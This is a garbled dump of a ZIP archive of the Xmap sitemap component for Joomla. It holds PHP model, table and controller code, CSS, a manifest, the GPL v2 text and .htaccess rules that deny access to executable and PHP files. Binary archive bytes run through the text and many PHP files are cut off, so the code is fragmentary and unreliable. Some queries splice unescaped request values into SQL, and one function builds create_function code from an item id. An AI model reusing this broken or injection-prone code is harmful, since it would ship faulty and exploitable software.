(!preg_match('/^https?:\//i', $src)) { $src = $urlBase . $src; } $image = new stdClass; $image->src = $src; $image->title = (isset($matches[$i]['title']) ? $matches[$i]['title'] : @$matches[$i]['alt']); $images[] = $image; $j++; } } } return $images; } static function getPagebreaks($text,$baseLink) { $matches = $subnodes = array(); if (preg_match_all( '/<hr\s*[^>]*?(?:(?:\s*alt="(?P<alt>[^"]+)")|(?:\s*title="(?P<title>[^"]+)"))+[^>]*>/i', $text, $matches, PREG_SET_ORDER) ) { $i = 2; foreach ($matches as $match) { if (strpos($match[0], 'class="system-pagebreak"') !== FALSE) { $link = $baseLink . '&limitstart=' . ($i - 1); if (@$match['alt']) { $title = stripslashes($match['alt']); } elseif (@$match['title']) { $title = stripslashes($match['title']); } else { $title = JText::sprintf('Page #', $i); } $subnode = new stdclass(); $subnode->name = $title; $subnode->expandible = false; $subnode->link = $link; $subnodes[] = $subnode; $i++; } } } return $subnodes; } } PK������s>\դ-��-����com_xmap/css/xmap.cssnu�W+A��������.xmap-menu-options { border-bottom: 1px solid #CCC; padding:10px; } .xmap-menu-options label { cursor:move; } .xmap-menu-options input, .xmap-menu-options select { margin: 5px 5px 2px 0px; } ul.ul_sortable { list-style:none; margin:0; padding:0; } ul.ul_sortable li { cursor:move; background-color: #eee; margin:5px; padding: 5px; } ul.ul_sortable li label.menu_label { font-weight: bold; display: inline-block; margin-bottom: 0px; } ul.ul_sortable input[type="checkbox"] { margin: 0 3px 0 3px; } PK������s>\)��������com_xmap/css/.htaccessnu�W+A��������<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK������s>\6��������com_xmap/css/index.htmlnu�W+A��������<!DOCTYPE html><title>PKs>\6com_xmap/tables/index.htmlnuW+APKs>\'<  com_xmap/tables/sitemap.phpnuW+AloadArray($array['attribs']); $array['attribs'] = $registry->toString(); } if (isset($array['selections']) && is_array($array['selections'])) { $selections = array(); foreach ($array['selections'] as $i => $menu) { $selections[$menu] = array( 'priority' => $array['selections_priority'][$i], 'changefreq' => $array['selections_changefreq'][$i], 'ordering' => $i ); } $registry = new JRegistry(); $registry->loadArray($selections); $array['selections'] = $registry->toString(); } if (isset($array['metadata']) && is_array($array['metadata'])) { $registry = new JRegistry(); $registry->loadArray($array['metadata']); $array['metadata'] = $registry->toString(); } return parent::bind($array, $ignore); } /** * Overloaded check function * * @access public * @return boolean * @see JTable::check * @since 2.0 */ function check() { if (empty($this->title)) { $this->setError(JText::_('Sitemap must have a title')); return false; } if (empty($this->alias)) { $this->alias = $this->title; } $this->alias = JApplication::stringURLSafe($this->alias); if (trim(str_replace('-', '', $this->alias)) == '') { $datenow = &JFactory::getDate(); $this->alias = $datenow->format("Y-m-d-H-i-s"); } return true; } /** * Overriden JTable::store to set modified data and user id. * * @param boolean True to update fields even if they are null. * @return boolean True on success. * @since 2.0 */ public function store($updateNulls = false) { $date = JFactory::getDate(); if (!$this->id) { $this->created = $date->toSql(); } return parent::store($updateNulls); } /** * Method to set the publishing state for a row or list of rows in the database * table. * * @param mixed An optional array of primary key values to update. If not * set the instance property value is used. * @param integer The publishing state. eg. [0 = unpublished, 1 = published] * @param integer The user id of the user performing the operation. * @return boolean True on success. * @since 2.0 */ public function publish($pks = null, $state = 1, $userId = 0) { // Initialize variables. $k = $this->_tbl_key; // Sanitize input. JArrayHelper::toInteger($pks); $userId = (int) $userId; $state = (int) $state; // If there are no primary keys set check to see if the instance key is set. if (empty($pks)) { if ($this->$k) { $pks = array($this->$k); } // Nothing to set publishing state on, return false. else { $this->setError(JText::_('No_Rows_Selected')); return false; } } // Build the WHERE clause for the primary keys. $where = $k . '=' . implode(' OR ' . $k . '=', $pks); // Update the publishing state for rows with the given primary keys. $query = $this->_db->getQuery(true) ->update($this->_db->quoteName('#__xmap_sitemap')) ->set($this->_db->quoteName('state').' = '. (int) $state) ->where($where); $this->_db->setQuery($query); $this->_db->query(); // Check for a database error. if ($this->_db->getErrorNum()) { $this->setError($this->_db->getErrorMsg()); return false; } // If the JTable instance value is in the list of primary keys that were set, set the instance. if (in_array($this->$k, $pks)) { $this->state = $state; } $this->setError(''); return true; } } PKs>\)com_xmap/tables/.htaccessnuW+A Order allow,deny Deny from all PKs>\6pcom_xmap/manifest.xmlnuW+A com_xmap 2011-04-10 Guillermo Vargas This component is released under the GNU/GPL License guille@vargas.co.cr http://joomla.vargas.co.cr 2.3.3 GNU/GPL Xmap - Sitemap Generator for Joomla! install/install.utf8.sql install/install.postgresql.sql install/uninstall.utf8.sql install/uninstall.postgresql.sql controller.php displayer.php index.html metadata.xml router.php xmap.php assets controllers helpers models views en-GB.com_xmap.ini es-ES.com_xmap.ini fa-IR.com_xmap.ini cs-CZ.com_xmap.ini nl-NL.com_xmap.ini ru-RU.com_xmap.ini images COM_XMAP_TITLE xmap.php controller.php index.html LICENSE.txt css elements images install helpers controllers tables views models en-GB/en-GB.com_xmap.ini en-GB/en-GB.com_xmap.sys.ini es-ES/es-ES.com_xmap.ini es-ES/es-ES.com_xmap.sys.ini fa-IR/fa-IR.com_xmap.ini fa-IR/fa-IR.com_xmap.sys.ini cs-CZ/cs-CZ.com_xmap.ini cs-CZ/cs-CZ.com_xmap.sys.ini nl-NL/nl-NL.com_xmap.ini nl-NL/nl-NL.com_xmap.sys.ini ru-RU/ru-RU.com_xmap.ini ru-RU/ru-RU.com_xmap.sys.ini images https://raw.github.com/guilleva/Xmap/master/xmap-update.xml PKs>\=IM++ com_xmap/controllers/sitemap.phpnuW+Aauthorise('core.edit', 'com_xmap.sitemap.'.$recordId); } }PKs>\( HH!com_xmap/controllers/sitemaps.phpnuW+AregisterTask('unpublish', 'publish'); $this->registerTask('trash', 'publish'); $this->registerTask('unfeatured', 'featured'); } /** * Method to toggle the default sitemap. * * @return void * @since 2.0 */ function setDefault() { // Check for request forgeries JRequest::checkToken() or die('Invalid Token'); // Get items to publish from the request. $cid = JRequest::getVar('cid', 0, '', 'array'); $id = @$cid[0]; if (!$id) { JError::raiseWarning(500, JText::_('Select an item to set as default')); } else { // Get the model. $model = $this->getModel(); // Publish the items. if (!$model->setDefault($id)) { JError::raiseWarning(500, $model->getError()); } } $this->setRedirect('index.php?option=com_xmap&view=sitemaps'); } /** * Proxy for getModel. * * @param string $name The name of the model. * @param string $prefix The prefix for the PHP class name. * * @return JModel * @since 2.0 */ public function getModel($name = 'Sitemap', $prefix = 'XmapModel', $config = array('ignore_request' => true)) { $model = parent::getModel($name, $prefix, $config); return $model; } }PKs>\)com_xmap/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\6com_xmap/controllers/index.htmlnuW+APKs>\PEEcom_xmap/LICENSE.txtnuW+AGNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PKs>\-$com_xmap/models/fields/xmapmenus.phpnuW+AgetQuery(true); //$currentMenus = array_keys(get_object_vars($this->value)); $currentMenus = array(); $query->select('menutype As value, title As text'); $query->from('#__menu_types AS a'); $query->order('a.title'); // Get the options. $db->setQuery($query); // echo $db->getQuery(); $menus = $db->loadObjectList('value'); $options = array(); // Add the current sitemap menus in the defined order to the list foreach ($currentMenus as $menutype) { if (!empty($menus[$menutype])) { $options[] = $menus[$menutype]; } } // Add the rest of the menus to the list (if any) foreach ($menus as $menutype => $menu) { if (!in_array($menutype, $currentMenus)) { $options[] = $menu; } } // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); } $options = array_merge( parent::getOptions(), $options ); return $options; } /** * Method to get the field input. * * @return string The field input. */ protected function getInput() { $disabled = $this->element['disabled'] == 'true' ? true : false; $readonly = $this->element['readonly'] == 'true' ? true : false; $attributes = ' '; $type = 'radio'; if ($v = $this->element['size']) { $attributes .= 'size="' . $v . '" '; } if ($v = $this->element['class']) { $attributes .= 'class="' . $v . '" '; } else { $attributes .= 'class="inputbox" '; } if ($m = $this->element['multiple']) { $type = 'checkbox'; } $value = $this->value; if (!is_array($value)) { // Convert the selections field to an array. $registry = new JRegistry; $registry->loadString($value); $value = $registry->toArray(); } $doc = JFactory::getDocument(); $doc->addScriptDeclaration(" window.addEvent('domready',function(){ \$\$('div.xmap-menu-options select').addEvent('mouseover',function(event){xmapMenusSortable.detach();}) \$\$('div.xmap-menu-options select').addEvent('mouseout',function(event){xmapMenusSortable.attach();}) var xmapMenusSortable = new Sortables(\$('ul_" . $this->inputId . "'),{ clone:true, revert: true, preventDefault: true, onStart: function(el) { el.setStyle('background','#bbb'); }, onComplete: function(el) { el.setStyle('background','#eee'); } }); });"); if ($disabled || $readonly) { $attributes .= 'disabled="disabled"'; } $options = (array) $this->_getOptions(); $return = '
        '; // Create a regular list. $i = 0; //Lets show the enabled menus first $this->currentItems = array_keys($value); // Sort the menu options uasort($options, array($this, 'myCompare')); foreach ($options as $option) { $prioritiesName = preg_replace('/(jform\[[^\]]+)(\].*)/', '$1_priority$2', $this->name); $changefreqName = preg_replace('/(jform\[[^\]]+)(\].*)/', '$1_changefreq$2', $this->name); $selected = (isset($value[$option->value]) ? ' checked="checked"' : ''); $i++; $return .= ''; } $return .= "
      "; return $return; } public function myCompare($a, $b) { $indexA = array_search($a->value, $this->currentItems); $indexB = array_search($b->value, $this->currentItems); if ($indexA === $indexB && $indexA !== false) { return 0; } if ($indexA === false && $indexA === $indexB) { return ($a->value < $b->value) ? -1 : 1; } if ($indexA === false) { return 1; } if ($indexB === false) { return -1; } return ($indexA < $indexB) ? -1 : 1; } } PKs>\6!com_xmap/models/fields/index.htmlnuW+APKs>\) com_xmap/models/fields/.htaccessnuW+A Order allow,deny Deny from all PKs>\6'com_xmap/models/fields/modal/index.htmlnuW+APKs>\SB B )com_xmap/models/fields/modal/sitemaps.phpnuW+Avalue) { $db->setQuery( 'SELECT title' . ' FROM #__xmap_sitemap' . ' WHERE id = ' . (int) $this->value ); $title = $db->loadResult(); if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); } } else { $title = ''; } if (empty($title)) { $title = JText::_('COM_XMAP_SELECT_AN_SITEMAP'); } $doc->addScriptDeclaration( "function jSelectSitemap_" . $this->id . "(id, title, object) { $('" . $this->id . "_id').value = id; $('" . $this->id . "_name').value = title; SqueezeBox.close(); }" ); $link = 'index.php?option=com_xmap&view=sitemaps&layout=modal&tmpl=component&function=jSelectSitemap_' . $this->id; JHTML::_('behavior.modal', 'a.modal'); $html = ''; $html .= "\n" . ''; if(version_compare(JVERSION,'3.0.0','ge')) $html .= ' ' . JText::_('COM_XMAP_CHANGE_SITEMAP_BUTTON') . '' . "\n"; else $html .= '' . "\n"; $html .= ''; $html .= "\n" . ''; return $html; } }PKs>\)&com_xmap/models/fields/modal/.htaccessnuW+A Order allow,deny Deny from all PKs>\ ^xxcom_xmap/models/sitemaps.phpnuW+Acontext .= '.'.$layout; } $access = $this->getUserStateFromRequest($this->context.'.filter.access', 'filter_access', 0, 'int'); $this->setState('filter.access', $access); $published = $this->getUserStateFromRequest($this->context.'.filter.published', 'filter_published', ''); $this->setState('filter.published', $published); $search = $this->getUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); // List state information. parent::populateState('a.title', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.published'); return parent::getStoreId($id); } /** * @param boolean True to join selected foreign information * * @return string */ protected function getListQuery($resolveFKs = true) { $db = $this->getDbo(); // Create a new query object. $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.*') ); $query->from('#__xmap_sitemap AS a'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = ' . (int) $access); } // Filter by published state $published = $this->getState('filter.published'); if (is_numeric($published)) { $query->where('a.state = ' . (int) $published); } else if ($published === '') { $query->where('(a.state = 0 OR a.state = 1)'); } // Filter by search in title. $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('(a.title LIKE '.$search.' OR a.alias LIKE '.$search.')'); } } // Add the list ordering clause. $query->order($db->escape($this->state->get('list.ordering', 'a.title')) . ' ' . $db->escape($this->state->get('list.direction', 'ASC'))); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } public function getExtensionsMessage() { $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('e.*'); $query->from($db->quoteName('#__extensions'). 'AS e'); $query->join('INNER', '#__extensions AS p ON e.element=p.element and p.enabled=0 and p.type=\'plugin\' and p.folder=\'xmap\''); $query->where('e.type=\'component\' and e.enabled=1'); $db->setQuery($query); $extensions = $db->loadObjectList(); if ( count($extensions) ) { $sep = $extensionsNameList = ''; foreach ($extensions as $extension) { $extensionsNameList .= "$sep$extension->element"; $sep = ', '; } return JText::sprintf('XMAP_MESSAGE_EXTENSIONS_DISABLED',$extensionsNameList); } else { return ""; } } } PKs>\xd&d&com_xmap/models/sitemap.phpnuW+AsetState('sitemap.id', $pk); $offset = JRequest::getInt('limitstart'); $this->setState('list.offset', $offset); // Load the parameters. $params = $app->getParams(); $this->setState('params', $params); // TODO: Tune these values based on other permissions. $this->setState('filter.published', 1); $this->setState('filter.access', true); } /** * Method to get sitemap data. * * @param integer The id of the article. * * @return mixed Menu item data object on success, false on failure. */ public function &getItem($pk = null) { // Initialize variables. $db = $this->getDbo(); $pk = (!empty($pk)) ? $pk : (int) $this->getState('sitemap.id'); // If not sitemap specified, select the default one if (!$pk) { $query = $db->getQuery(true); $query->select('id')->from('#__xmap_sitemap')->where('is_default=1'); $db->setQuery($query); $pk = $db->loadResult(); } if ($this->_item === null) { $this->_item = array(); } if (!isset($this->_item[$pk])) { try { $query = $db->getQuery(true); $query->select($this->getState('item.select', 'a.*')); $query->from('#__xmap_sitemap AS a'); $query->where('a.id = ' . (int) $pk); // Filter by published state. $published = $this->getState('filter.published'); if (is_numeric($published)) { $query->where('a.state = ' . (int) $published); } // Filter by access level. if ($access = $this->getState('filter.access')) { $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); $query->where('a.access IN (' . $groups . ')'); } $this->_db->setQuery($query); $data = $this->_db->loadObject(); if ($error = $this->_db->getErrorMsg()) { throw new Exception($error); } if (empty($data)) { throw new Exception(JText::_('COM_XMAP_ERROR_SITEMAP_NOT_FOUND')); } // Check for published state if filter set. if (is_numeric($published) && $data->state != $published) { throw new Exception(JText::_('COM_XMAP_ERROR_SITEMAP_NOT_FOUND')); } // Convert parameter fields to objects. $registry = new JRegistry('_default'); $registry->loadString($data->attribs); $data->params = clone $this->getState('params'); $data->params->merge($registry); // Convert the selections field to an array. $registry = new JRegistry('_default'); $registry->loadString($data->selections); $data->selections = $registry->toArray(); // Compute access permissions. if ($access) { // If the access filter has been set, we already know this user can view. $data->params->set('access-view', true); } else { // If no access filter is set, the layout takes some responsibility for display of limited information. $user = &JFactory::getUser(); $groups = $user->authorisedLevels(); $data->params->set('access-view', in_array($data->access, $groups)); } // TODO: Type 2 permission checks? $this->_item[$pk] = $data; } catch (Exception $e) { $this->setError($e->getMessage()); $this->_item[$pk] = false; } } return $this->_item[$pk]; } public function getItems() { if ($item = $this->getItem()) { return XmapHelper::getMenuItems($item->selections); } return false; } function getExtensions() { return XmapHelper::getExtensions(); } /** * Increment the hit counter for the sitemap. * * @param int Optional primary key of the sitemap to increment. * * @return boolean True if successful; false otherwise and internal error set. */ public function hit($count) { // Initialize variables. $pk = (int) $this->getState('sitemap.id'); $view = JRequest::getCmd('view', 'html'); if ($view != 'xml' && $view != 'html') { return false; } $this->_db->setQuery( 'UPDATE #__xmap_sitemap' . ' SET views_' . $view . ' = views_' . $view . ' + 1, count_' . $view . ' = ' . $count . ', lastvisit_' . $view . ' = ' . JFactory::getDate()->toUnix() . ' WHERE id = ' . (int) $pk ); if (!$this->_db->query()) { $this->setError($this->_db->getErrorMsg()); return false; } return true; } public function getSitemapItems($view=null) { if (!isset($view)) { $view = JRequest::getCmd('view'); } $db = JFactory::getDBO(); $pk = (int) $this->getState('sitemap.id'); if (self::$items !== NULL && isset(self::$items[$view])) { return; } $query = "select * from #__xmap_items where view='$view' and sitemap_id=" . $pk; $db->setQuery($query); $rows = $db->loadObjectList(); self::$items[$view] = array(); foreach ($rows as $row) { self::$items[$view][$row->itemid] = array(); self::$items[$view][$row->itemid][$row->uid] = array(); $pairs = explode(';', $row->properties); foreach ($pairs as $pair) { if (strpos($pair, '=') !== FALSE) { list($property, $value) = explode('=', $pair); self::$items[$view][$row->itemid][$row->uid][$property] = $value; } } } return self::$items; } function chageItemPropery($uid, $itemid, $view, $property, $value) { $items = $this->getSitemapItems($view); $db = JFactory::getDBO(); $pk = (int) $this->getState('sitemap.id'); $isNew = false; if (empty($items[$view][$itemid][$uid])) { $items[$view][$itemid][$uid] = array(); $isNew = true; } $items[$view][$itemid][$uid][$property] = $value; $sep = $properties = ''; foreach ($items[$view][$itemid][$uid] as $k => $v) { $properties .= $sep . $k . '=' . $v; $sep = ';'; } if (!$isNew) { $query = 'UPDATE #__xmap_items SET properties=\'' . $db->escape($properties) . "' where uid='" . $db->escape($uid) . "' and itemid=$itemid and view='$view' and sitemap_id=" . $pk; } else { $query = 'INSERT #__xmap_items (uid,itemid,view,sitemap_id,properties) values ( \'' . $db->escape($uid) . "',$itemid,'$view',$pk,'" . $db->escape($properties) . "')"; } $db->setQuery($query); //echo $db->getQuery();exit; if ($db->query()) { return true; } else { return false; } } function toggleItem($uid, $itemid) { $app = JFactory::getApplication('site'); $sitemap = $this->getItem(); $displayer = new XmapDisplayer($app->getParams(), $sitemap); $excludedItems = $displayer->getExcludedItems(); if (isset($excludedItems[$itemid])) { $excludedItems[$itemid] = (array) $excludedItems[$itemid]; } if (!$displayer->isExcluded($itemid, $uid)) { $excludedItems[$itemid][] = $uid; $state = 0; } else { if (is_array($excludedItems[$itemid]) && count($excludedItems[$itemid])) { $excludedItems[$itemid] = array_filter($excludedItems[$itemid], create_function('$var', 'return ($var != \'' . $uid . '\');')); } else { unset($excludedItems[$itemid]); } $state = 1; } $registry = new JRegistry('_default'); $registry->loadArray($excludedItems); $str = $registry->toString(); $db = JFactory::getDBO(); $query = "UPDATE #__xmap_sitemap set excluded_items='" . $db->escape($str) . "' where id=" . $sitemap->id; $db->setQuery($query); $db->query(); return $state; } } PKs>\)com_xmap/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\9c#com_xmap/models/forms/extension.xmlnuW+A
      PKs>\)com_xmap/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\6 com_xmap/models/forms/index.htmlnuW+APKs>\$y$$!com_xmap/models/forms/sitemap.xmlnuW+A
